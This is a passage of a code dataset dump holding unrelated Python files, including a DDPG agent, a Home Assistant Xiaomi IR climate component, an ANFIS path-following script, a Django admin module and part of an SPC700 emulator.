np.asarray([data[0] for data in minibatch])\n action_batch = np.asarray([data[1] for data in minibatch])\n\n # the reward batch is no longer just one column! (it's a list of 4 cols....)\n reward_batch = np.asarray([data[2] for data in minibatch])\n\n next_state_batch = np.asarray([data[3] for data in minibatch])\n done_batch = np.asarray([data[4] for data in minibatch])\n\n # for action_dim = 1\n action_batch = np.resize(action_batch, [self.BATCH_SIZE, self.action_dim])\n\n # Calculate y_batch and\n # Update critic by minimizing the loss L\n if(self.safety_critic):\n y_batch_progress = self.calc_y_batch(done_batch, minibatch, next_state_batch, reward_batch, 1, gamma=self.GAMMA)\n y_batch_penalty = self.calc_y_batch(done_batch, minibatch, next_state_batch, reward_batch, 2, gamma=self.SAFETY_GAMMA)\n self.critic_network.train(y_batch_progress, state_batch, action_batch)\n self.safety_critic_network.train(y_batch_penalty, state_batch, action_batch)\n else:\n y_batch_reward = self.calc_y_batch(done_batch, minibatch, next_state_batch, reward_batch, 0, gamma=self.GAMMA)\n self.critic_network.train(y_batch_reward, state_batch, action_batch)\n\n ## Update the actor policy using the sampled gradient:\n action_batch_for_gradients = self.actor_network.actions(state_batch)\n if(self.safety_critic):\n q_gradient_batch_progress = self.critic_network.gradients(state_batch, action_batch_for_gradients)\n q_gradient_batch_penalty = self.safety_critic_network.gradients(state_batch, action_batch_for_gradients)\n\n # calculate the mean of q_batches from progress an penalty! (safety critic v2)\n q_gradient_batch_mean = np.mean([np.asarray(q_gradient_batch_progress), np.asarray(q_gradient_batch_penalty)], axis=0)\n\n # train using mean batch (safety critic v2)\n self.actor_network.train(q_gradient_batch_mean, state_batch)\n else:\n q_gradient_batch = self.critic_network.gradients(state_batch, action_batch_for_gradients)\n self.actor_network.train(q_gradient_batch, state_batch)\n\n #self.actor_network.train(q_gradient_batch, state_batch)\n\n # Update the target networks\n self.actor_network.update_target()\n self.critic_network.update_target()\n if(self.safety_critic):\n self.safety_critic_network.update_target()\n\n def calc_y_batch(self, done_batch, minibatch, next_state_batch, reward_batch, reward_col, gamma):\n # next_action = μ'(st+1 | θ'μ')\n next_action_batch = self.actor_network.target_actions(next_state_batch)\n # Q_values = Q'(Si+1, next_action | θ'Q)\n q_value_batch = self.critic_network.target_q(next_state_batch, next_action_batch)\n y_batch = []\n for i in range(len(minibatch)):\n if done_batch[i]:\n y_batch.append(reward_batch[i, reward_col])\n else:\n y_batch.append(reward_batch[i, reward_col] + gamma * q_value_batch[i])\n y_batch = np.resize(y_batch, [self.BATCH_SIZE, 1])\n return y_batch\n\n @staticmethod\n def get_name():\n return \"DDPG Original\"\n\n\n def save_networks(self, global_step, run_folder):\n self.saver.save(self.sess, run_folder+'/saved_networks/' + self.env_name + 'network' + '-ddpg', global_step=global_step)\n #self.actor_network.save_network(global_step=global_step, run_folder=run_folder)\n #self.critic_network.save_network(global_step=global_step, run_folder=run_folder)\n","sub_path":"agents/ddpg_cnn/ddpg_agent_backup.py","file_name":"ddpg_agent_backup.py","file_ext":"py","file_size_in_byte":7542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"90454784","text":"import asyncio\r\nimport logging\r\nimport os.path\r\nimport voluptuous as vol\r\nimport homeassistant.helpers.config_validation as cv\r\n\r\nfrom homeassistant.components.climate import (ClimateDevice, PLATFORM_SCHEMA, STATE_OFF, STATE_HEAT, STATE_COOL, STATE_DRY,\r\nSUPPORT_OPERATION_MODE, SUPPORT_TARGET_TEMPERATURE, SUPPORT_FAN_MODE)\r\n\r\nfrom homeassistant.const import (ATTR_UNIT_OF_MEASUREMENT, ATTR_TEMPERATURE, CONF_NAME, CONF_HOST, CONF_TOKEN, CONF_TIMEOUT, CONF_CUSTOMIZE)\r\nfrom homeassistant.helpers.event import (async_track_state_change)\r\nfrom homeassistant.core import callback\r\nfrom homeassistant.helpers.restore_state import async_get_last_state\r\nfrom homeassistant.exceptions import PlatformNotReady\r\nfrom configparser import ConfigParser\r\n\r\nREQUIREMENTS = ['python-miio==0.3.9', 'construct==2.9.41']\r\n\r\n_LOGGER = logging.getLogger(__name__)\r\n\r\nSUPPORT_FLAGS = SUPPORT_TARGET_TEMPERATURE | SUPPORT_OPERATION_MODE | SUPPORT_FAN_MODE\r\n\r\nCONF_IRCODES_INI = 'ircodes_ini'\r\nCONF_MIN_TEMP = 'min_temp'\r\nCONF_MAX_TEMP = 'max_temp'\r\nCONF_TARGET_TEMP = 'target_temp'\r\nCONF_TEMP_SENSOR = 'temp_sensor'\r\nCONF_OPERATIONS = 'operations'\r\nCONF_FAN_MODES = 'fan_modes'\r\nCONF_DEFAULT_OPERATION = 'default_operation'\r\nCONF_DEFAULT_FAN_MODE = 'default_fan_mode'\r\n\r\nCONF_DEFAULT_OPERATION_FROM_IDLE = 'default_operation_from_idle'\r\n\r\nDEFAULT_NAME = 'Xiaomi IR Climate'\r\nDEFAULT_TIMEOUT = 10\r\nDEFAULT_RETRY = 3\r\nDEFAULT_MIN_TEMP = 16\r\nDEFAULT_MAX_TEMP = 30\r\nDEFAULT_TARGET_TEMP = 20\r\nDEFAULT_OPERATION_LIST = [STATE_HEAT, STATE_COOL, STATE_DRY]\r\nDEFAULT_FAN_MODE_LIST = ['low', 'mid', 'high']\r\nDEFAULT_OPERATION = STATE_COOL\r\nDEFAULT_FAN_MODE = 'mid'\r\n\r\nCUSTOMIZE_SCHEMA = vol.Schema({\r\n vol.Optional(CONF_OPERATIONS): vol.All(cv.ensure_list, [cv.string]),\r\n vol.Optional(CONF_FAN_MODES): vol.All(cv.ensure_list, [cv.string])\r\n})\r\n\r\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\r\n vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,\r\n vol.Required(CONF_HOST): cv.string,\r\n vol.Required(CONF_TOKEN): vol.All(str, vol.Length(min=32, max=32)),\r\n vol.Required(CONF_IRCODES_INI): cv.string,\r\n vol.Optional(CONF_TIMEOUT, default=DEFAULT_TIMEOUT): cv.positive_int,\r\n vol.Optional(CONF_MIN_TEMP, default=DEFAULT_MIN_TEMP): cv.positive_int,\r\n vol.Optional(CONF_MAX_TEMP, default=DEFAULT_MAX_TEMP): cv.positive_int,\r\n vol.Optional(CONF_TARGET_TEMP, default=DEFAULT_TARGET_TEMP): cv.positive_int,\r\n vol.Optional(CONF_TEMP_SENSOR): cv.entity_id,\r\n vol.Optional(CONF_CUSTOMIZE, default={}): CUSTOMIZE_SCHEMA,\r\n vol.Optional(CONF_DEFAULT_OPERATION, default=DEFAULT_OPERATION): cv.string,\r\n vol.Optional(CONF_DEFAULT_FAN_MODE, default=DEFAULT_FAN_MODE): cv.string,\r\n vol.Optional(CONF_DEFAULT_OPERATION_FROM_IDLE): cv.string\r\n})\r\n\r\n@asyncio.coroutine\r\ndef async_setup_platform(hass, config, async_add_devices, discovery_info=None):\r\n \"\"\"Set up the Broadlink IR Climate platform.\"\"\"\r\n name = config.get(CONF_NAME)\r\n host = config.get(CONF_HOST)\r\n token = config.get(CONF_TOKEN)\r\n\r\n # Create handler\r\n _LOGGER.info(\"Initializing Xiaomi Remote climate component with host %s (token %s...)\", host, token[:5])\r\n\r\n from miio import ChuangmiIr, DeviceException\r\n # The Chuang Mi IR Remote Controller wants to be re-discovered every\r\n # 5 minutes. As long as polling is disabled the device should be\r\n # re-discovered (lazy_discover=False) in front of every command.\r\n device = ChuangmiIr(host, token, lazy_discover=False)\r\n\r\n # Check that we can communicate with device.\r\n try:\r\n device_info = device.info()\r\n model = device_info.model\r\n unique_id = \"{}-{}\".format(model, device_info.mac_address)\r\n _LOGGER.info(\"%s %s %s detected\",\r\n model,\r\n device_info.firmware_version,\r\n device_info.hardware_version)\r\n except DeviceException as ex:\r\n _LOGGER.error(\"Device unavailable or token incorrect: %s\", ex)\r\n raise PlatformNotReady\r\n\r\n min_temp = config.get(CONF_MIN_TEMP)\r\n max_temp = config.get(CONF_MAX_TEMP)\r\n target_temp = config.get(CONF_TARGET_TEMP)\r\n temp_sensor_entity_id = config.get(CONF_TEMP_SENSOR)\r\n operation_list = config.get(CONF_CUSTOMIZE).get(CONF_OPERATIONS, []) or DEFAULT_OPERATION_LIST\r\n operation_list.append(STATE_OFF)\r\n fan_list = config.get(CONF_CUSTOMIZE).get(CONF_FAN_MODES, []) or DEFAULT_FAN_MODE_LIST\r\n default_operation = config.get(CONF_DEFAULT_OPERATION)\r\n default_fan_mode = config.get(CONF_DEFAULT_FAN_MODE)\r\n\r\n default_operation_from_idle = config.get(CONF_DEFAULT_OPERATION_FROM_IDLE)\r\n\r\n\r\n ircodes_ini_file = config.get(CONF_IRCODES_INI)\r\n\r\n if ircodes_ini_file.startswith(\"/\"):\r\n ircodes_ini_file = ircodes_ini_file[1:]\r\n\r\n ircodes_ini_path = hass.config.path(ircodes_ini_file)\r\n\r\n if os.path.exists(ircodes_ini_path):\r\n ircodes_ini = ConfigParser()\r\n ircodes_ini.read(ircodes_ini_path)\r\n else:\r\n _LOGGER.error(\"The ini file was not found. (\" + ircodes_ini_path + \")\")\r\n return\r\n\r\n async_add_devices([\r\n XiaomiIRClimate(hass, name, device, ircodes_ini, min_temp, max_temp, target_temp, temp_sensor_entity_id, operation_list, fan_list, default_operation, default_fan_mode, default_operation_from_idle)\r\n ])\r\n\r\nclass XiaomiIRClimate(ClimateDevice):\r\n\r\n def __init__(self, hass, name, device, ircodes_ini, min_temp, max_temp, target_temp, temp_sensor_entity_id, operation_list, fan_list, default_operation, default_fan_mode, default_operation_from_idle):\r\n\r\n \"\"\"Initialize the Xiaomi IR Climate device.\"\"\"\r\n self.hass = hass\r\n self._name = name\r\n\r\n self._min_temp = min_temp\r\n self._max_temp = max_temp\r\n self._target_temperature = target_temp\r\n self._target_temperature_step = 1\r\n self._unit_of_measurement = hass.config.units.temperature_unit\r\n\r\n self._current_temperature = 0\r\n self._temp_sensor_entity_id = temp_sensor_entity_id\r\n\r\n self._current_operation = default_operation\r\n self._current_fan_mode = default_fan_mode\r\n\r\n self._operation_list = operation_list\r\n self._fan_list = fan_list\r\n\r\n self._default_operation_from_idle = default_operation_from_idle\r\n\r\n self._device = device\r\n self._commands_ini = ircodes_ini\r\n\r\n if temp_sensor_entity_id:\r\n async_track_state_change(\r\n hass, temp_sensor_entity_id, self._async_temp_sensor_changed)\r\n\r\n sensor_state = hass.states.get(temp_sensor_entity_id)\r\n\r\n if sensor_state:\r\n self._async_update_current_temp(sensor_state)\r\n\r\n def send_ir(self):\r\n section = self._current_operation.lower()\r\n\r\n if section == 'off':\r\n value = 'off_command'\r\n elif section == 'idle':\r\n value = 'idle_command'\r\n else:\r\n value = self._current_fan_mode.lower() + \"_\" + str(\r\n int(self._target_temperature)) if not section == 'off' else 'off_command'\r\n\r\n command = self._commands_ini.get(section, value)\r\n\r\n from miio import DeviceException\r\n\r\n for retry in range(DEFAULT_RETRY):\r\n _LOGGER.debug(\"Sending payload: '%s'\", command)\r\n try:\r\n self._device.play(command)\r\n break\r\n except DeviceException as ex:\r\n if retry == DEFAULT_RETRY - 1:\r\n _LOGGER.error(\r\n \"Transmit of IR command failed, %s, exception: %s\",\r\n command, ex)\r\n\r\n\r\n @asyncio.coroutine\r\n def _async_temp_sensor_changed(self, entity_id, old_state, new_state):\r\n \"\"\"Handle temperature changes.\"\"\"\r\n if new_state is None:\r\n return\r\n\r\n self._async_update_current_temp(new_state)\r\n yield from self.async_update_ha_state()\r\n\r\n @callback\r\n def _async_update_current_temp(self, state):\r\n \"\"\"Update thermostat with latest state from sensor.\"\"\"\r\n unit = state.attributes.get(ATTR_UNIT_OF_MEASUREMENT)\r\n\r\n try:\r\n _state = state.state\r\n if self.represents_float(_state):\r\n self._current_temperature = self.hass.config.units.temperature(\r\n float(_state), unit)\r\n except ValueError as ex:\r\n _LOGGER.error('Unable to update from sensor: %s', ex)\r\n\r\n def represents_float(self, s):\r\n try:\r\n float(s)\r\n return True\r\n except ValueError:\r\n return False\r\n\r\n\r\n @property\r\n def should_poll(self):\r\n \"\"\"Return the polling state.\"\"\"\r\n return False\r\n\r\n @property\r\n def name(self):\r\n \"\"\"Return the name of the climate device.\"\"\"\r\n return self._name\r\n\r\n @property\r\n def temperature_unit(self):\r\n \"\"\"Return the unit of measurement.\"\"\"\r\n return self._unit_of_measurement\r\n\r\n @property\r\n def current_temperature(self):\r\n \"\"\"Return the current temperature.\"\"\"\r\n return self._current_temperature\r\n\r\n @property\r\n def min_temp(self):\r\n \"\"\"Return the polling state.\"\"\"\r\n return self._min_temp\r\n\r\n @property\r\n def max_temp(self):\r\n \"\"\"Return the polling state.\"\"\"\r\n return self._max_temp\r\n\r\n @property\r\n def target_temperature(self):\r\n \"\"\"Return the temperature we try to reach.\"\"\"\r\n return self._target_temperature\r\n\r\n @property\r\n def target_temperature_step(self):\r\n \"\"\"Return the supported step of target temperature.\"\"\"\r\n return self._target_temperature_step\r\n\r\n @property\r\n def current_operation(self):\r\n \"\"\"Return current operation ie. heat, cool, idle.\"\"\"\r\n return self._current_operation\r\n\r\n @property\r\n def operation_list(self):\r\n \"\"\"Return the list of available operation modes.\"\"\"\r\n return self._operation_list\r\n\r\n @property\r\n def current_fan_mode(self):\r\n \"\"\"Return the fan setting.\"\"\"\r\n return self._current_fan_mode\r\n\r\n @property\r\n def fan_list(self):\r\n \"\"\"Return the list of available fan modes.\"\"\"\r\n return self._fan_list\r\n\r\n @property\r\n def supported_features(self):\r\n \"\"\"Return the list of supported features.\"\"\"\r\n return SUPPORT_FLAGS\r\n\r\n def set_temperature(self, **kwargs):\r\n \"\"\"Set new target temperatures.\"\"\"\r\n if kwargs.get(ATTR_TEMPERATURE) is not None:\r\n self._target_temperature = kwargs.get(ATTR_TEMPERATURE)\r\n\r\n if not (self._current_operation.lower() == 'off' or self._current_operation.lower() == 'idle'):\r\n self.send_ir()\r\n elif self._default_operation_from_idle is not None:\r\n self.set_operation_mode(self._default_operation_from_idle)\r\n\r\n\r\n self.schedule_update_ha_state()\r\n\r\n def set_fan_mode(self, fan):\r\n \"\"\"Set new target temperature.\"\"\"\r\n self._current_fan_mode = fan\r\n\r\n if not (self._current_operation.lower() == 'off' or self._current_operation.lower() == 'idle'):\r\n self.send_ir()\r\n\r\n self.schedule_update_ha_state()\r\n\r\n def set_operation_mode(self, operation_mode):\r\n \"\"\"Set new target temperature.\"\"\"\r\n self._current_operation = operation_mode\r\n\r\n self.send_ir()\r\n self.schedule_update_ha_state()\r\n\r\n @asyncio.coroutine\r\n def async_added_to_hass(self):\r\n state = yield from async_get_last_state(self.hass, self.entity_id)\r\n\r\n if state is not None:\r\n self._target_temperature = state.attributes['temperature']\r\n self._current_operation = state.attributes['operation_mode']\r\n self._current_fan_mode = state.attributes['fan_mode']\r\n","sub_path":"custom_components/climate/xiaomi_miio.py","file_name":"xiaomi_miio.py","file_ext":"py","file_size_in_byte":11717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"386143470","text":"from input import *\n\n## info for plotting ##\n\nparameter_ranges = {}\nfor parameter, prior in priors.items():\n parameter_ranges[parameter] = [prior[1], prior[0]+prior[1]]\n\nparameter_labels = {\"T\": r\"$T$\", \"log_xh2o\": r\"$log(X_{\\rm H_2O})$\", \"log_xhcn\": r\"$log(X_{\\rm HCN})$\", \"log_xnh3\":\n r\"$log(X_{\\rm NH_3})$\", \"log_kappa_cloud\": r\"$log(\\kappa_{\\rm cloud})$\", \"R0\": r\"$R_0$\",\n \"log_P0\": r\"$log(P_0)$\", \"log_kappa_0\": r\"$log(\\kappa_0)$\", \"Q0\": r\"$Q_0$\",\n \"a\": r\"$a$\", \"log_r_c\": r\"$log(r_c)$\", \"log_p_cia\": r\"$log(P_{\\rm CIA})$\"} # labels for all possible parameters\n\nparameter_colors = {\"T\": ['Reds',0.4], \"log_xh2o\": ['Blues',0.4], \"log_xhcn\": ['Oranges',0.4], \"log_xnh3\": ['Greens',0.4],\n \"log_kappa_cloud\": [\"Purples\", 0.4], \"R0\": [\"PuRd\",0.4], \"log_P0\": [\"GnBu\", 0.4],\n \"log_kappa_0\": [\"RdPu\", 0.4], \"Q0\": [\"BuPu\",0.5], \"a\": [\"YlGnBu\", 0.4], \"log_r_c\": [\"PuBu\", 0.3],\n \"b\": [\"Blues\", 0.7], \"log_p_cia\": [\"YlOrBr\", 0.4]} # colours for plots","sub_path":"asthetics.py","file_name":"asthetics.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"111074486","text":"import numpy as np\r\nimport torch\r\nfrom torch.utils.data import TensorDataset, DataLoader\r\nimport time\r\nimport matplotlib.pyplot as plt\r\nfrom numpy.linalg import inv\r\nimport math\r\nimport torch\r\nfrom torch.utils.data import TensorDataset, DataLoader\r\n\r\nimport anfis\r\nfrom membership import TrapezoidalMembFunc, make_trap_mfs, make_bell_mfs, BellMembFunc, Zero, make_zero\r\nfrom experimental import train_anfis, test_anfis\r\ndtype = torch.float\r\n\r\ndef angdiff(th1, th2):\r\n d = th1 - th2\r\n d = np.mod(d+np.pi, 2*np.pi) - np.pi\r\n return -d\r\ndef wraptopi(x):\r\n pi = np.pi\r\n x = x - np.floor(x/(2*pi)) *2 *pi\r\n if (x >= pi):\r\n return x -2*pi\r\n return x\r\ndef vels(angular_vel,width,speed):\r\n vl = speed - 0.5*width*angular_vel\r\n vr = speed + 0.5*width*angular_vel\r\n return vl,vr\r\ndef phy(vl,vr,width,prev_vel,prev_theta,prev_x,prev_y,prev_w):\r\n\r\n theta = prev_theta + (0.001* ( ((vr - vl) / width) - prev_w )/2) ###do integral\r\n print(theta)\r\n x = prev_x + ( ((vr+vl)/2 - prev_vel)/2 * np.cos(theta)) *0.001\r\n y = prev_y + ( ((vr+vl)/2 - prev_vel)/2 * np.sin(theta)) *0.001\r\n prev_vel = (vr+vl)/2\r\n prev_theta = theta\r\n prev_x = x\r\n prev_y = y\r\n prev_w = ((vr - vl) / width)\r\n return [theta, x, y, prev_vel,prev_theta,prev_x,prev_y,prev_w]\r\nif __name__ == '__main__':\r\n model = torch.load('anfis_model.npy')\r\n path_x = [0,5,5,10,10,15,15,20]\r\n path_y = [0,0,-5,-5,5,5,0,0]\r\n pathcount = 0\r\n pathlength = len(path_x)\r\n path_x.append(200)\r\n path_y.append(200)\r\n speed = 2\r\n width = 0.323\r\n u = [0,0,0]\r\n stop = False\r\n prev_vel = 0\r\n prev_theta = 0\r\n prev_x = 0\r\n prev_y = 0\r\n prev_w = 0\r\n robot_path_x = [0]\r\n robot_path_y = [0]\r\n i = 0\r\n while(stop == False):\r\n pos = [u[1],u[2]]\r\n print(pos)\r\n current_angle = wraptopi(u[0])\r\n current_point = np.array([path_x[pathcount],path_y[pathcount]])\r\n target = np.array([path_x[pathcount+1],path_y[pathcount+1]])\r\n # distErr = np.sqrt((target[0]-pos[0])**2+(target[1]-pos[1])**2)\r\n A = np.array([ [(current_point[1]-target[1]),(target[0]-current_point[0])], [(target[0]-current_point[0]), (target[1]-current_point[1])] ])\r\n b = np.array([ [(target[0]*current_point[1] - current_point[0]*target[1])], [(pos[0]*(target[0]-current_point[0]) + pos[1]*(target[1] - current_point[1]))] ])\r\n proj = inv(A)*b\r\n projLen = np.dot(proj-current_point,target-current_point).sum() / np.linalg.norm(target - current_point,2)**2\r\n if (projLen > 1):\r\n pathcount += 1\r\n print(pathcount)\r\n current_point = np.array([path_x[pathcount],path_y[pathcount]])\r\n target = np.array([path_x[pathcount+1],path_y[pathcount+1]])\r\n if (pathcount == pathlength-1):\r\n stop = True\r\n break\r\n\r\n if ( (pathcount == (pathlength-2)) or (pathcount == (pathlength -1)) ):\r\n a = np.array([path_x[pathcount],path_y[pathcount]])\r\n b = np.array([path_x[pathcount+1],path_y[pathcount+1]])\r\n post = np.array([path_x[pathcount+1],path_y[pathcount+1]])\r\n else:\r\n a = np.array([path_x[pathcount],path_y[pathcount]])\r\n b = np.array([path_x[pathcount+1],path_y[pathcount+1]])\r\n post = np.array([path_x[pathcount+2],path_y[pathcount+1]])\r\n th1 = math.atan2(b[1]-pos[1], b[0]-pos[0])\r\n th2 = math.atan2(b[1]-a[1], b[0]-a[0])\r\n th3 = math.atan2(post[1]-b[1], post[0]-b[0])\r\n theta_far = angdiff(current_angle,th1)\r\n theta_near = angdiff(current_angle,th2)\r\n d = (pos[0] - current_point[0]) * (target[1]-current_point[1]) - (pos[1]-current_point[1]) * (target[0] - current_point[0])\r\n if (d>0):\r\n side = 1\r\n elif (d<0):\r\n side = -1\r\n else:\r\n side = 0\r\n distanceError = np.linalg.norm(pos-proj,2) * side\r\n # print([distanceError,theta_far,theta_near])\r\n x = torch.tensor([[distanceError, theta_far, theta_near]],dtype = torch.float)\r\n angular_vel = 5*model(x).item()\r\n # print(angular_vel)\r\n if (angular_vel > np.pi):\r\n angular_vel = np.pi\r\n if (angular_vel < -np.pi):\r\n angular_vel = -np.pi\r\n vl, vr = vels(angular_vel,width,speed)\r\n u = phy(vl,vr,width,prev_vel,prev_theta,prev_x,prev_y,prev_w)\r\n# print(u)\r\n prev_vel = u[3]\r\n prev_theta = u[4]\r\n prev_x = u[5]\r\n prev_y = u[6]\r\n prev_w = u[7]\r\n #print([u[1],u[2]])\r\n robot_path_x.append(u[1])\r\n robot_path_y.append(u[2])\r\n # i += 1\r\n # if (i==1000):\r\n # break\r\n #stop =True\r\n\r\n plt.plot(robot_path_x,robot_path_y)\r\n plt.show()\r\n\r\n x = torch.tensor([[0, 0, 0]])\r\n angular_vel = model(x)\r\n print(angular_vel)\r\n print(angdiff(0.4314,1.643))\r\n","sub_path":"src/reference codes/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"46033027","text":"from person_c import Person\n\n\nclass Batman(Person):\n def __init__(self, deposit, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.deposit = deposit\n\n def house(self, *args, **kwargs):\n print('buy house')\n\n\nif __name__ == '__main__':\n b = Batman(100, 'Bad', 1000, height=199)\n b.speak()\n b.house()\n","sub_path":"batman.py","file_name":"batman.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"364431690","text":"import os\nimport re\n\n\n# 扫描某个路径下的所有PDF文件\ndef scan_pdf(root, dirs, files):\n for file in files:\n path = os.path.join(root, file)\n path = os.path.normcase(path)\n if re.search(r\".*\\.pdf\", path):\n print(path)\n\n\nfor root, dirs, files in os.walk(\"F:\\\\文档\\\\2018-01-24\"):\n print(root)\n print(dirs)\n print(files)\n scan_pdf(root, dirs, files)\n","sub_path":"classStudy/scanPDF.py","file_name":"scanPDF.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"345896042","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin as BaseUserAdmin\nfrom django.contrib.auth.models import User\n\nfrom .models import Tercero, ContactoTercero, TrackingConection\n\n\n# Define an inline admin_modelos descriptor for Employee model\n# which acts a bit like a singleton\nclass TerceroInline(admin.StackedInline):\n model = Tercero\n can_delete = False\n verbose_name_plural = 'Tercero'\n fieldsets = (\n ('Información Sesion', {\n 'fields': (\n 'alias',\n 'categoria_modelo',\n 'es_modelo',\n 'es_empleado',\n 'es_cliente',\n 'es_proveedor',\n 'estado_tercero',\n )\n }),\n ('Información Personal', {\n 'fields': (\n ('genero', 'grupo_sanguineo'),\n 'estatura',\n 'fecha_nacimiento',\n 'pais_origen',\n 'departamento_estado_origen',\n 'ciudad_origen',\n )\n }),\n ('Documento Identidad', {\n 'fields': (\n ('tipo_documento_identidad', 'nro_documento'),\n (\n 'pais_expedicion_documento',\n 'ciudad_expedicion_documento'\n ),\n 'fecha_expedicion_documento',\n )\n }),\n ('Control Session', {\n 'fields': (\n 'es_multisesion',\n 'debe_estar_en_empresa',\n 'autologout_minutos',\n 'en_la_empresa',\n )\n })\n )\n\n\nclass ContactoTerceroInline(admin.TabularInline):\n model = ContactoTercero\n verbose_name_plural = 'Contactos Tercero'\n extra = 0\n\n\n# Define a new User admin_modelos\nclass UserAdmin(BaseUserAdmin):\n inlines = (TerceroInline, ContactoTerceroInline)\n\n\n# Re-register UserAdmin\nadmin.site.unregister(User)\nadmin.site.register(User, UserAdmin)\n\n\nclass TrackingConectionAdmin(admin.ModelAdmin):\n list_display = ['user', 'created', 'session_key', 'remote_ip', 'browser']\n list_filter = ['user__tercero__es_modelo', 'user__tercero__es_empleado', 'user__tercero__es_proveedor',\n 'user__is_staff', 'user__is_superuser']\n\n actions = ['cerrar_conexion']\n\n def get_queryset(self, request):\n qs = super().get_queryset(request).select_related('user', 'user__tercero')\n return qs\n\n def cerrar_conexion(self, request, queryset):\n for conexion in queryset:\n conexion.cerrar_conexion()\n\n conexiones_eliminadas = queryset.count()\n if conexiones_eliminadas == 1:\n message_bit = \"1 conexión fué eliminada\"\n else:\n message_bit = \"%s conexiones fueron eliminadas\" % conexiones_eliminadas\n self.message_user(request, \"%s.\" % message_bit)\n\n cerrar_conexion.short_description = \"Cerrar conexiones seleccionadas\"\n\n def get_actions(self, request):\n actions = super(TrackingConectionAdmin, self).get_actions(request)\n if 'delete_selected' in actions:\n del actions['delete_selected']\n return actions\n\n\nadmin.site.register(TrackingConection, TrackingConectionAdmin)\n","sub_path":"dramorapp_terceros/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"400810041","text":"from struct import unpack\nimport sys\nimport types\nfrom bit import bitget, bitset, int8\n\nbitget = lambda x, b : (x & (1 << b)) >> b\nclass SPC700Instruction:\n def __init__(self, offset = None, instruction=None, bytes=None):\n self.offset = offset\n self.bytes = bytes\n self.label=\"\"\n self.args = None\n self.operands = None\n self.format = None\n self.formatargs = None\n self.instruction = None\n self.unpackmap = {\"b\":\"B\",\"r\":\"b\",\"w\":\"H\",\"m\":\"H\"}\n if instruction is not None:\n self.parse_instruction(instruction)\n\n def parse_instruction(self, instruction):\n self.args = instruction[\"args\"]\n self.format = instruction[\"format\"]\n self.instruction = instruction[\"fp\"]\n if instruction[\"bytes\"] == 1:\n return\n else:\n unpackstr = \"<\" + \"\".join([self.unpackmap[a] for a in self.args])\n operands = unpack(unpackstr,self.bytes[1:])\n self.operands = []\n for argidx in range(len(self.args)):\n arg = self.args[argidx]\n val = operands[argidx]\n if arg in (\"b\",\"w\"):\n self.operands.append(val)\n elif arg==\"r\":\n self.operands.append(self.offset + operands[argidx] + instruction[\"bytes\"])\n elif arg==\"m\":\n self.operands.append(operands[argidx] & 0x1FFF)\n self.operands.append(operands[argidx] >> 13)\n\n def tostring(self, resolve_relative):\n result = \"\"\n if len(self.bytes) == 1:\n result = self.format\n else:\n formatargs = self.operands[:]\n if not resolve_relative and \"r\" in self.args:\n self.format = self.format.replace(\":04x\", \":02x\")\n argidx = 0 if self.args==\"r\" else 1\n formatargs[argidx] = (formatargs[argidx] - (self.offset + len(self.bytes))) & 0xFF\n result = self.format.format(*formatargs)\n return result\n\nclass InstructionMeta(type):\n def __new__(cls, name, bases, dct):\n module = sys.modules[__name__]\n for name in dir(module):\n function = getattr(module, name)\n if isinstance(function, types.FunctionType):\n dct[function.__name__] = function\n return type.__new__(cls, name, bases, dct)\n\ndef instructionAbsoluteBitModify(self, mode):\n address = self.fetch()\n address |= self.fetch() << 8\n bit = address >> 13\n address &= 0x1fff\n data = self.read(address)\n if mode == 0:\n self.idle()\n self.P.C |= bitget(data, bit)\n elif mode == 1:\n self.idle()\n self.P.C |= ~bitget(data, bit)\n elif mode == 2:\n self.P.C &= bitget(data, bit)\n elif mode == 3:\n self.P.C &= ~bitget(data, bit)\n elif mode == 4:\n self.idle()\n self.P.C ^= bitget(data, bit)\n elif mode == 5:\n self.P.C = bitget(data, bit)\n elif mode == 6:\n self.idle()\n data = bitset(data,bit, self.P.C)\n self.write(address, data)\n elif mode == 7:\n data = bitset(data, bit, ~bitget(data, bit))\n self.write(address, data)\n\ndef instructionAbsoluteBitSet(self, bit, value):\n address = self.fetch()\n data = self.load(address)\n data = bitset(data, bit, value)\n self.store(address, data)\n \ndef instructionAbsoluteRead(self, op, target):\n address = self.fetch()\n address |= self.fetch() << 8\n data = self.read(address)\n regtarget = getattr(self, target)\n setattr(self, target, op(regtarget, data))\n\ndef instructionAbsoluteModify(self, op):\n address = self.fetch()\n address |= self.fetch() << 8\n data = self.read(address)\n self.write(address, op(data))\n\ndef instructionAbsoluteWrite(self, data):\n address = self.fetch()\n address |= self.fetch() << 8\n self.read(address)\n regdata = getattr(self, data)\n self.write(address, regdata)\n\ndef instructionAbsoluteIndexedRead(self, op, index):\n address = self.fetch()\n address |= self.fetch() << 8\n self.idle()\n regindex = getattr(self, index)\n data = self.read(address + regindex)\n self.A = op(self.A, data)\n\ndef instructionAbsoluteIndexedWrite(self, index):\n address = self.fetch()\n address |= self.fetch() << 8\n self.idle()\n regindex = getattr(self, index)\n self.read(address + regindex)\n self.write(address + regindex, self.A)\n\ndef instructionBranch(self):\n data = self.fetch()\n self.idle()\n self.idle()\n self.PC += int8(data)\n\ndef instructionBranchBit(self, bit, match):\n address = self.fetch()\n data = self.load(address)\n self.idle()\n displacement = self.fetch()\n if bitget(data,bit) != int(match):\n return\n self.idle()\n self.idle()\n self.PC += int8(displacement)\n\ndef instructionBranchFlag(self, flag, take):\n data = self.fetch()\n bit = bitget(self.P.value, flag)\n if bit != take:\n return\n self.idle()\n 